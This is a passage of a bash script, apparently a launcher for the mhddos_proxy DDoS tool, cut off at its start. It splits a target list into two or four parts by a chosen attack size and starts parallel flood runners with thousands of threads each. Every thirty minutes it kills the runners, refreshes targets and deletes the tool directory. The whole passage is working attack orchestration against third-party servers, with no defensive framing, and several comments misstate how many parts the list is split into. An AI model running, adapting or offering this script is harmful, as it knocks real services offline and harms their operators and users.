~/multidd/targets/xab.uaripper $methods -t 2000 $args_to_pass & 181 | elif [[ $ddos_size == "L" ]] || [[ $ddos_size == "AUTO" ]]; then 182 | cd ~/multidd/targets/; split -n l/2 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts 183 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 4000 $args_to_pass & 184 | sleep 30 185 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 4000 $args_to_pass & 186 | elif [[ $ddos_size == "XL" ]]; then 187 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 4 parts 188 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 3000 $args_to_pass & 189 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 3000 $args_to_pass & 190 | sleep 30 191 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 3000 $args_to_pass & 192 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 3000 $args_to_pass & 193 | elif [[ $ddos_size == "XXL" ]]; then 194 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts 195 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 4000 $args_to_pass & 196 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 4000 $args_to_pass & 197 | sleep 30 198 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 4000 $args_to_pass & 199 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 4000 $args_to_pass & 200 | elif [[ $ddos_size == "XXXL" ]]; then 201 | cd ~/multidd/targets/; split -n l/4 --additional-suffix=.uaripper ~/multidd/targets/uniq_targets.txt; cd ~/multidd/mhddos_proxy #split targets in 2 parts 202 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xaa.uaripper $methods -t 5000 $args_to_pass & 203 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xab.uaripper $methods -t 5000 $args_to_pass & 204 | sleep 30 205 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xac.uaripper $methods -t 5000 $args_to_pass & 206 | AUTO_MH=1 python3 ~/multidd/mhddos_proxy/runner.py -c ~/multidd/targets/xad.uaripper $methods -t 5000 $args_to_pass & 207 | fi 208 | sleep 30m 209 | pkill -f start.py; pkill -f runner.py; 210 | prepare_targets_and_banner 211 | rm -rf ~/multidd/mhddos_proxy/ 212 | done 213 | fi 214 | EOF 215 | 216 | launch --------------------------------------------------------------------------------